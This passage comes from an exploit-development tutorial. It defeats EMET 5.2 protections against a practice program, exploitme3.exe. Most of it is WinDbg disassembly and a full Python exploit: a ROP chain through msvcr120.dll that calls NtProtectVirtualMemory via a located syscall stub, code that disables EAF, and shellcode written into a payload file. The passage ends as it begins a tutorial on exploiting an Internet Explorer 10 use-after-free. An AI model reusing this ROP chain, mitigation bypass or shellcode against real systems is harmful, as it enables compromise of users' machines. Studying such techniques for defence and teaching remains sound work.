7625eeb2 50              push    eax
0:000> u
KERNELBASE!VirtualProtectEx+0x17:
7625eeb3 8d450c          lea     eax,[ebp+0Ch]
7625eeb6 50              push    eax
7625eeb7 ff7508          push    dword ptr [ebp+8]
7625eeba ffd6            call    esi      <------------------- calls NtProtectVirtualMemory
7625eebc 8bf8            mov     edi,eax
7625eebe 85ff            test    edi,edi
7625eec0 7c05            jl      KERNELBASE!VirtualProtectEx+0x2b (7625eec7)
7625eec2 33c0            xor     eax,eax

Again, note the hook from EMET. VirtualProtectEx calls NtProtectVirtualMemory:

0:000> u poi(KERNELBASE!_imp__NtProtectVirtualMemory)
ntdll!ZwProtectVirtualMemory:
76eb0038 e9530606c0      jmp     36f10690     <----------------- this is getting old...
76eb003d 33c9            xor     ecx,ecx
76eb003f 8d542404        lea     edx,[esp+4]
76eb0043 64ff15c0000000  call    dword ptr fs:[0C0h]
76eb004a 83c404          add     esp,4
76eb004d c21400          ret     14h
ntdll!ZwQuerySection:
76eb0050 b84e000000      mov     eax,4Eh
76eb0055 33c9            xor     ecx,ecx

That looks quite familiar: ZwProtectVirtualMemory calls a ring 0 service! Note that the service number has been overwritten by EMET’s hook, but 0x4d would be a good guess since the service number of the next function is 0x4E.

If you have another look at VirtualProtectEx, you’ll see that the parameters pointed to by EDX in ZwProtectVirtualMemory are not in the same format as those passed to VirtualProtectEx. To have a closer look, let’s disable MemProt, restart (Ctrl+Shift+F5) exploitme3.exe in WinDbg and set the following breakpoint:

bp exploitme3!f "bp KERNELBASE!VirtualProtectEx;g"

This will break on the call to VirtualProtectEx executed by our ROP chain. We hit F5 (go) and we end up here:

KERNELBASE!VirtualProtectEx:
7625ee9c 8bff            mov     edi,edi      <-------------------- we are here!
7625ee9e 55              push    ebp
7625ee9f 8bec            mov     ebp,esp
7625eea1 56              push    esi
7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57              push    edi
7625eea9 ff7518          push    dword ptr [ebp+18h]
7625eeac 8d4510          lea     eax,[ebp+10h]
7625eeaf ff7514          push    dword ptr [ebp+14h]
7625eeb2 50              push    eax
7625eeb3 8d450c          lea     eax,[ebp+0Ch]
7625eeb6 50              push    eax
7625eeb7 ff7508          push    dword ptr [ebp+8]
7625eeba ffd6            call    esi

This time, as expected, there’s no hook. Here are our 5 parameters on the stack:
Image may be NSFW.
Clik here to view.
emet_6

Let’s see what is put onto the stack:

KERNELBASE!VirtualProtectEx:
7625ee9c 8bff            mov     edi,edi      <-------------------- we are here!
7625ee9e 55              push    ebp
7625ee9f 8bec            mov     ebp,esp
7625eea1 56              push    esi
7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57              push    edi
7625eea9 ff7518          push    dword ptr [ebp+18h]      // lpflOldProtect (writable location)
7625eeac 8d4510          lea     eax,[ebp+10h]
7625eeaf ff7514          push    dword ptr [ebp+14h]      // PAGE_EXECUTE_READWRITE
7625eeb2 50              push    eax                      // ptr to size
7625eeb3 8d450c          lea     eax,[ebp+0Ch]
7625eeb6 50              push    eax                      // ptr to address
7625eeb7 ff7508          push    dword ptr [ebp+8]        // 0xffffffff (current process)
7625eeba ffd6            call    esi

Let’s step into the call:

ntdll!ZwProtectVirtualMemory:
76eb0038 b84d000000      mov     eax,4Dh
76eb003d 33c9            xor     ecx,ecx
76eb003f 8d542404        lea     edx,[esp+4]
76eb0043 64ff15c0000000  call    dword ptr fs:[0C0h]
76eb004a 83c404          add     esp,4
76eb004d c21400          ret     14h

EDX will point to the following 5 parameters in this order:

0xffffffff (current process)
ptr to address
ptr to size
PAGE_EXECUTE_READWRITE
lpflOldProtect (writable location)

Here’s a concrete example:
Image may be NSFW.
Clik here to view.
emet_7

Before wasting our time with building a ROP chain that might not work, we should make sure that there aren’t any other surprises.

An easy way to do this, is to debug exploitme3.exe with MemProt enabled and overwrite the EMET’s hooks with the original code. If everything works fine, then we’re ready to proceed. I’ll leave you this as an exercise (do it!).

Building the ROP chain

Even though we want to call a kernel service the same way we did for clearing the debug registers, this time it’ll be much harder because we need to do this with ROP gadgets.

The main problem is that msvcr120.dll doesn’t contain any call dword ptr fs:[0C0h] or variation of it such as call fs:[eax] or call fs:eax. We know that in ntdll there are lots of these calls so maybe we can find a way to get the address of one of them?

Let’s have a look at the IAT (Import Address Table) of msvcr120.dll:

0:000> !dh msvcr120

File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       5 number of sections
524F7CE6 time date stamp Sat Oct 05 04:43:50 2013

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2122 characteristics
            Executable
            App can handle >2gb addresses
            32 bit word machine
            DLL

OPTIONAL HEADER VALUES
     10B magic #
   12.00 linker version
   DC200 size of code
    DC00 size of initialized data
       0 size of uninitialized data
   11A44 address of entry point
    1000 base of code
         ----- new -----
73c60000 image base
    1000 section alignment
     200 file alignment
       2 subsystem (Windows GUI)
    6.00 operating system version
   10.00 image version
    6.00 subsystem version
   EE000 size of image
     400 size of headers
   FB320 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
    1860 [    CED0] address  of Export Directory
   E52BC [      28] address  of Import Directory
   E7000 [     3E8] address  of Resource Directory
       0 [       0] address  of Exception Directory
   E9200 [    3EA0] address  of Security Directory
   E8000 [    5D64] address  of Base Relocation Directory
   DD140 [      38] address  of Debug Directory
       0 [       0] address  of Description Directory
       0 [       0] address  of Special Directory
       0 [       0] address  of Thread Storage Directory
   19E48 [      40] address  of Load Configuration Directory
       0 [       0] address  of Bound Import Directory
   E5000 [     2BC] address  of Import Address Table Directory    <------------------------
       0 [       0] address  of Delay Import Directory
       0 [       0] address  of COR20 Header Directory
       0 [       0] address  of Reserved Directory

[...]

0:000> dds msvcr120+E5000 L 2bc/4
73d45000  76ed107b ntdll!RtlEncodePointer
73d45004  76ec9dd5 ntdll!RtlDecodePointer
73d45008  763b586e kernel32!RaiseExceptionStub
73d4500c  763b11c0 kernel32!GetLastErrorStub
73d45010  763b79d8 kernel32!FSPErrorMessages::CMessageMapper::StaticCleanup+0xc
73d45014  763b3470 kernel32!GetModuleHandleWStub
73d45018  763b4a37 kernel32!GetModuleHandleExWStub
73d4501c  763b1222 kernel32!GetProcAddressStub
73d45020  76434611 kernel32!AreFileApisANSIStub
73d45024  763b18fa kernel32!MultiByteToWideCharStub
73d45028  763b16d9 kernel32!WideCharToMultiByteStub
73d4502c  763b5169 kernel32!GetCommandLineAStub
73d45030  763b51eb kernel32!GetCommandLineWStub
73d45034  763b1420 kernel32!GetCurrentThreadIdStub
73d45038  76eb22c0 ntdll!RtlEnterCriticalSection
73d4503c  76eb2280 ntdll!RtlLeaveCriticalSection
73d45040  76ec4625 ntdll!RtlDeleteCriticalSection
73d45044  763b1481 kernel32!GetModuleFileNameAStub
73d45048  763b11a9 kernel32!SetLastError
73d4504c  763b17b8 kernel32!GetCurrentThreadStub
73d45050  763b4918 kernel32!GetModuleFileNameWStub
73d45054  763b51fd kernel32!IsProcessorFeaturePresent
73d45058  763b517b kernel32!GetStdHandleStub
73d4505c  763b1282 kernel32!WriteFileImplementation
73d45060  763b440a kernel32!FindCloseStub
73d45064  764347bf kernel32!FindFirstFileExAStub
73d45068  763dd52e kernel32!FindNextFileAStub
73d4506c  763c17d9 kernel32!FindFirstFileExWStub
73d45070  763b54b6 kernel32!FindNextFileWStub
73d45074  763b13e0 kernel32!CloseHandleImplementation
73d45078  763b3495 kernel32!CreateThreadStub
73d4507c  76ee801c ntdll!RtlExitUserThread
73d45080  763b43b7 kernel32!ResumeThreadStub
73d45084  763b4925 kernel32!LoadLibraryExWStub
73d45088  763d0622 kernel32!SystemTimeToTzSpecificLocalTimeStub
73d4508c  763b53f4 kernel32!FileTimeToSystemTimeStub
73d45090  7643487f kernel32!GetDiskFreeSpaceAStub
73d45094  763b5339 kernel32!GetLogicalDrivesStub
73d45098  763b1acc kernel32!SetErrorModeStub
73d4509c  764256f0 kernel32!BeepImplementation
73d450a0  763b10ff kernel32!SleepStub
73d450a4  763be289 kernel32!GetFullPathNameAStub
73d450a8  763b11f8 kernel32!GetCurrentProcessIdStub
73d450ac  763b453c kernel32!GetFileAttributesExWStub
73d450b0  763cd4c7 kernel32!SetFileAttributesWStub
73d450b4  763b409c kernel32!GetFullPathNameWStub
73d450b8  763b4221 kernel32!CreateDirectoryWStub
73d450bc  763c9b05 kernel32!MoveFileExW
73d450c0  76434a0f kernel32!RemoveDirectoryWStub
73d450c4  763b4153 kernel32!GetDriveTypeWStub
73d450c8  763b897b kernel32!DeleteFileWStub
73d450cc  763be2f9 kernel32!SetEnvironmentVariableAStub
73d450d0  763c17fc kernel32!SetCurrentDirectoryAStub
73d450d4  763dd4e6 kernel32!GetCurrentDirectoryAStub
73d450d8  763c1228 kernel32!SetCurrentDirectoryWStub
73d450dc  763b55d9 kernel32!GetCurrentDirectoryWStub
73d450e0  763b89b9 kernel32!SetEnvironmentVariableWStub
73d450e4  763b1136 kernel32!WaitForSingleObject
73d450e8  763c1715 kernel32!GetExitCodeProcessImplementation
73d450ec  763b1072 kernel32!CreateProcessA
73d450f0  763b3488 kernel32!FreeLibraryStub
73d450f4  763b48db kernel32!LoadLibraryExAStub
73d450f8  763b103d kernel32!CreateProcessW
73d450fc  763b3e93 kernel32!ReadFileImplementation
73d45100  763d273c kernel32!GetTempPathA
73d45104  763cd4ac kernel32!GetTempPathW
73d45108  763b1852 kernel32!DuplicateHandleImplementation
73d4510c  763b17d5 kernel32!GetCurrentProcessStub
73d45110  763b34c9 kernel32!GetSystemTimeAsFileTimeStub
73d45114  763b4622 kernel32!GetTimeZoneInformationStub
73d45118  763b5a6e kernel32!GetLocalTimeStub
73d4511c  763dd4fe kernel32!LocalFileTimeToFileTimeStub
73d45120  763cec8b kernel32!SetFileTimeStub
73d45124  763b5a46 kernel32!SystemTimeToFileTimeStub
73d45128  76434a6f kernel32!SetLocalTimeStub
73d4512c  76ec47a0 ntdll!RtlInterlockedPopEntrySList
73d45130  76ec27b5 ntdll!RtlInterlockedFlushSList
73d45134  76ec474c ntdll!RtlQueryDepthSList
73d45138  76ec4787 ntdll!RtlInterlockedPushEntrySList
73d4513c  763db000 kernel32!CreateTimerQueueStub
73d45140  763b1691 kernel32!SetEventStub
73d45144  763b1151 kernel32!WaitForSingleObjectExImplementation
73d45148  7643ebeb kernel32!UnregisterWait
73d4514c  763b11e0 kernel32!TlsGetValueStub
73d45150  763cf874 kernel32!SignalObjectAndWait
73d45154  763b14cb kernel32!TlsSetValueStub
73d45158  763b327b kernel32!SetThreadPriorityStub
73d4515c  7643462b kernel32!ChangeTimerQueueTimerStub
73d45160  763cf7bb kernel32!CreateTimerQueueTimerStub
73d45164  76432482 kernel32!GetNumaHighestNodeNumber
73d45168  763dcaf5 kernel32!RegisterWaitForSingleObject
73d4516c  76434ca1 kernel32!GetLogicalProcessorInformationStub
73d45170  763ccd9d kernel32!RtlCaptureStackBackTraceStub
73d45174  763b4387 kernel32!GetThreadPriorityStub
73d45178  763ba839 kernel32!GetProcessAffinityMask
73d4517c  763d0570 kernel32!SetThreadAffinityMask
73d45180  763b4975 kernel32!TlsAllocStub
73d45184  763cf7a3 kernel32!DeleteTimerQueueTimerStub
73d45188  763b3547 kernel32!TlsFreeStub
73d4518c  763cefbc kernel32!SwitchToThreadStub
73d45190  76ec2540 ntdll!RtlTryEnterCriticalSection
73d45194  7643347c kernel32!SetProcessAffinityMask
73d45198  763b183a kernel32!VirtualFreeStub
73d4519c  763b1ab1 kernel32!GetVersionExWStub
73d451a0  763b1822 kernel32!VirtualAllocStub
73d451a4  763b4327 kernel32!VirtualProtectStub
73d451a8  76ec9514 ntdll!RtlInitializeSListHead
73d451ac  763cd37b kernel32!ReleaseSemaphoreStub
73d451b0  763db901 kernel32!UnregisterWaitExStub
73d451b4  763b48f3 kernel32!LoadLibraryW
73d451b8  763dd1c4 kernel32!OutputDebugStringWStub
73d451bc  763cd552 kernel32!FreeLibraryAndExitThreadStub
73d451c0  763b1245 kernel32!GetModuleHandleAStub
73d451c4  7643592b kernel32!GetThreadTimes
73d451c8  763b180a kernel32!CreateEventWStub
73d451cc  763b1912 kernel32!GetStringTypeWStub
73d451d0  763b445b kernel32!IsValidCodePageStub
73d451d4  763b1768 kernel32!GetACPStub
73d451d8  763dd191 kernel32!GetOEMCPStub
73d451dc  763b5151 kernel32!GetCPInfoStub
73d451e0  763dd1b3 kernel32!RtlUnwindStub
73d451e4  763b1499 kernel32!HeapFree
73d451e8  76ebe046 ntdll!RtlAllocateHeap
73d451ec  763b14b9 kernel32!GetProcessHeapStub
73d451f0  76ed2561 ntdll!RtlReAllocateHeap
73d451f4  76ec304a ntdll!RtlSizeHeap
73d451f8  7643493f kernel32!HeapQueryInformationStub
73d451fc  763cb153 kernel32!HeapValidateStub
73d45200  763b46df kernel32!HeapCompactStub
73d45204  7643496f kernel32!HeapWalkStub
73d45208  763b4992 kernel32!GetSystemInfoStub
73d4520c  763b4422 kernel32!VirtualQueryStub
73d45210  763b34f1 kernel32!GetFileTypeImplementation
73d45214  763b4d08 kernel32!GetStartupInfoWStub
73d45218  763be266 kernel32!FileTimeToLocalFileTimeStub
73d4521c  763b5376 kernel32!GetFileInformationByHandleStub
73d45220  76434d61 kernel32!PeekNamedPipeStub
73d45224  763b3f1c kernel32!CreateFileWImplementation
73d45228  763b1328 kernel32!GetConsoleMode
73d4522c  764578d2 kernel32!ReadConsoleW
73d45230  76458137 kernel32!GetConsoleCP
73d45234  763cc7df kernel32!SetFilePointerExStub
73d45238  763b4663 kernel32!FlushFileBuffersImplementation
73d4523c  7643469b kernel32!CreatePipeStub
73d45240  76434a8f kernel32!SetStdHandleStub
73d45244  76457e77 kernel32!GetNumberOfConsoleInputEvents
73d45248  76457445 kernel32!PeekConsoleInputA
73d4524c  7645748b kernel32!ReadConsoleInputA
73d45250  763ca755 kernel32!SetConsoleMode
73d45254  764574ae kernel32!ReadConsoleInputW
73d45258  763d7a92 kernel32!WriteConsoleW
73d4525c  763cce06 kernel32!SetEndOfFileStub
73d45260  763dd56c kernel32!LockFileExStub
73d45264  763dd584 kernel32!UnlockFileExStub
73d45268  763b4a25 kernel32!IsDebuggerPresentStub
73d4526c  763d76f7 kernel32!UnhandledExceptionFilter
73d45270  763b8791 kernel32!SetUnhandledExceptionFilter
73d45274  763b18e2 kernel32!InitializeCriticalSectionAndSpinCountStub
73d45278  763cd7d2 kernel32!TerminateProcessStub
73d4527c  763b110c kernel32!GetTickCountStub
73d45280  763cca32 kernel32!CreateSemaphoreW
73d45284  763b89d1 kernel32!SetConsoleCtrlHandler
73d45288  763b16f1 kernel32!QueryPerformanceCounterStub
73d4528c  763b51ab kernel32!GetEnvironmentStringsWStub
73d45290  763b5193 kernel32!FreeEnvironmentStringsWStub
73d45294  763d34a7 kernel32!GetDateFormatW
73d45298  763cf451 kernel32!GetTimeFormatW
73d4529c  763b3b8a kernel32!CompareStringWStub
73d452a0  763b1785 kernel32!LCMapStringWStub
73d452a4  763b3c02 kernel32!GetLocaleInfoWStub
73d452a8  763cce1e kernel32!IsValidLocaleStub
73d452ac  763b3d65 kernel32!GetUserDefaultLCIDStub
73d452b0  7643479f kernel32!EnumSystemLocalesWStub
73d452b4  763db297 kernel32!OutputDebugStringAStub
73d452b8  00000000

I examined the ntdll functions one by one until I found a viable candidate: ntdll!RtlExitUserThread.

Let’s examine it:

ntdll!RtlExitUserThread:
76ee801c 8bff            mov     edi,edi
76ee801e 55              push    ebp
76ee801f 8bec            mov     ebp,esp
76ee8021 51              push    ecx
76ee8022 56              push    esi
76ee8023 33f6            xor     esi,esi
76ee8025 56              push    esi
76ee8026 6a04            push    4
76ee8028 8d45fc          lea     eax,[ebp-4]
76ee802b 50              push    eax
76ee802c 6a0c            push    0Ch
76ee802e 6afe            push    0FFFFFFFEh
76ee8030 8975fc          mov     dword ptr [ebp-4],esi
76ee8033 e8d07bfcff      call    ntdll!NtQueryInformationThread (76eafc08)      <-------------------

Now let’s examine ntdll!NtQueryInformationThread:

ntdll!NtQueryInformationThread:
76eafc08 b822000000      mov     eax,22h
76eafc0d 33c9            xor     ecx,ecx
76eafc0f 8d542404        lea     edx,[esp+4]
76eafc13 64ff15c0000000  call    dword ptr fs:[0C0h]
76eafc1a 83c404          add     esp,4
76eafc1d c21400          ret     14h

Perfect! Now how do we determine the address of that call dword ptr fs:[0C0h]?

We know the address of ntdll!RtlExitUserThread because it’s at a fixed RVA in the IAT of msvcr120. At the address ntdll!RtlExitUserThread+0x17 we have the call to ntdll!NtQueryInformationThread. That call has this format:

here:
  E8 offset

and the target address is

here + offset + 5

In the ROP we will determine the address of ntdll!NtQueryInformationThread as follows:

EAX = 0x7056507c          ; ptr to address of ntdll!RtlExitUserThread (IAT)
EAX = [EAX]               ; address of ntdll!RtlExitUserThread
EAX += 0x18               ; address of "offset" component of call to ntdll!NtQueryInformationThread
EAX += [EAX] + 4          ; address of ntdll!NtQueryInformationThread
EAX += 0xb                ; address of "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"

We’re ready to build the ROP chain! As always, we’ll use mona:

.load pykd.pyd
!py mona rop -m msvcr120

Here’s the full Python script:

import struct

msvcr120 = 0x73c60000

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000


def create_rop_chain(code_size):
    rop_gadgets = [
        # ecx = esp
        md + 0x704af28c,     # POP ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0xffffffff,
        md + 0x70532761,     # AND ECX,ESP # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}

        # ecx = args+8 (&endAddress)
        md + 0x704f4681,     # POP EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        75*4,
        md + 0x7054b28e,     # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,

        # address = ptr to address
        md + 0x704f2487,     # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704846b4,     # XCHG EAX,EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04

        # ecx = args+4 (ptr to &address)
        md + 0x704f4681,     # POP EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0xfffffff0,
        md + 0x7054b28e,     # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,

        # &address = ptr to address
        md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04

        # ecx = args+8 (ptr to &size)
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}

        # edx = ptr to size
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}

        # &size = ptr to size
        md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04

        # edx = args
        md + 0x704f2487,     # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x704846b4,     # XCHG EAX,EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}

        # EAX = ntdll!RtlExitUserThread
        md + 0x7053b8fb,     # POP EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7056507c,     # IAT: &ntdll!RtlExitUserThread
        md + 0x70501e19,     # MOV EAX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
        0x11111111,
        0x11111111,

        # EAX = ntdll!NtQueryInformationThread
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704a691c,     # ADD EAX,DWORD PTR [EAX] # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
        md + 0x704ecd87,     # ADD EAX,4 # POP ESI # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04

        # EAX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}

        # EBX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
        md + 0x704819e8,     # XCHG EAX,EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}

        # ECX = 0; EAX = 0x4d
        md + 0x704f2485,     # XOR ECX,ECX # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7053b8fb,     # POP EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x4d,

        md + 0x704c0a08,     # JMP EBX
        md + 0x7055adf3,     # JMP ESP
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14

    # real_code:
        0x90901eeb,          # jmp skip

    # args:
        0xffffffff,          # current process handle
        0x11111111,          # &address = ptr to address
        0x11111111,          # &size = ptr to size
        0x40,
        md + 0x705658f2,     # &Writable location [MSVCR120.dll]
    # end_args:
        0x11111111,          # address     <------- the region starts here
        code_size + 8        # size
    # skip:
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xB8\x50\x01\x00\x00" +            # mov    eax,150h
            "\x33\xC9" +                        # xor    ecx,ecx
            "\x81\xEC\xCC\x02\x00\x00" +        # sub    esp,2CCh
            "\xC7\x04\x24\x10\x00\x01\x00" +    # mov    dword ptr [esp],10010h
            "\x89\x4C\x24\x04" +                # mov    dword ptr [esp+4],ecx
            "\x89\x4C\x24\x08" +                # mov    dword ptr [esp+8],ecx
            "\x89\x4C\x24\x0C" +                # mov    dword ptr [esp+0Ch],ecx
            "\x89\x4C\x24\x10" +                # mov    dword ptr [esp+10h],ecx
            "\x89\x4C\x24\x14" +                # mov    dword ptr [esp+14h],ecx
            "\x89\x4C\x24\x18" +                # mov    dword ptr [esp+18h],ecx
            "\x54" +                            # push   esp
            "\x6A\xFE" +                        # push   0FFFFFFFEh
            "\x8B\xD4" +                        # mov    edx,esp
            "\x64\xFF\x15\xC0\x00\x00\x00" +    # call   dword ptr fs:[0C0h]
            "\x81\xC4\xD8\x02\x00\x00"          # add    esp,2D8h
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)

write_file(r'c:\deleteme\name.dat')

The first part of the ROP chain initializes the arguments which are located at the end of the ROP chain itself:

# real_code:
        0x90901eeb,          # jmp skip

    # args:
        0xffffffff,          # current process handle
        0x11111111,          # &address = ptr to address
        0x11111111,          # &size = ptr to size
        0x40,
        md + 0x705658f2,     # &Writable location [MSVCR120.dll]
    # end_args:
        0x11111111,          # address     <------- the region starts here
        code_size + 8        # size

The second argument (&address) is overwritten with end_args and the third argument (&size) with end_args + 4. To conclude, address (at end_args) is overwritten with its address (end_args).

Note that our code starts at real_code, so we should overwrite address with real_code, but there’s no need because VirtualProtect works with pages and it’s highly probable that real_code and end_args point to the same page.

The second part of the ROP chain finds call dword ptr fs:[0C0h] # add esp,4 # ret 14h in ntdll.dll and make the call to the kernel service.

First run the Python script to create the file name.dat and, finally, run exploitme3.exe. The exploit should work just fine!

Now you may enable all the protections (except for ASR, which doesn’t apply) and verify that our exploit still works!

The post EMET 5.2 appeared first on Exploit Development Community.

IE10: Reverse Engineering IE

For this exploit I’m using a VirtualBox VM with Windows 7 64-bit SP1 and the version of Internet Explorer 10 downloaded from here.

To successfully exploit IE 10 we need to defeat both ASLR and DEP. We’re going to exploit a UAF to modify the length of an array so that we can read and write through the whole process address space. The ability of reading/writing wherever we want is a very powerful capability. From there we can go two ways:

  1. Run ActiveX objects (God mode)
  2. Execute regular shellcode

For the phase UAF → arbitrary read/write we’re going to use a method described here.

Reading that paper is not enough to fully understand the method because some details are missing and I also found some differences between theory and practice.

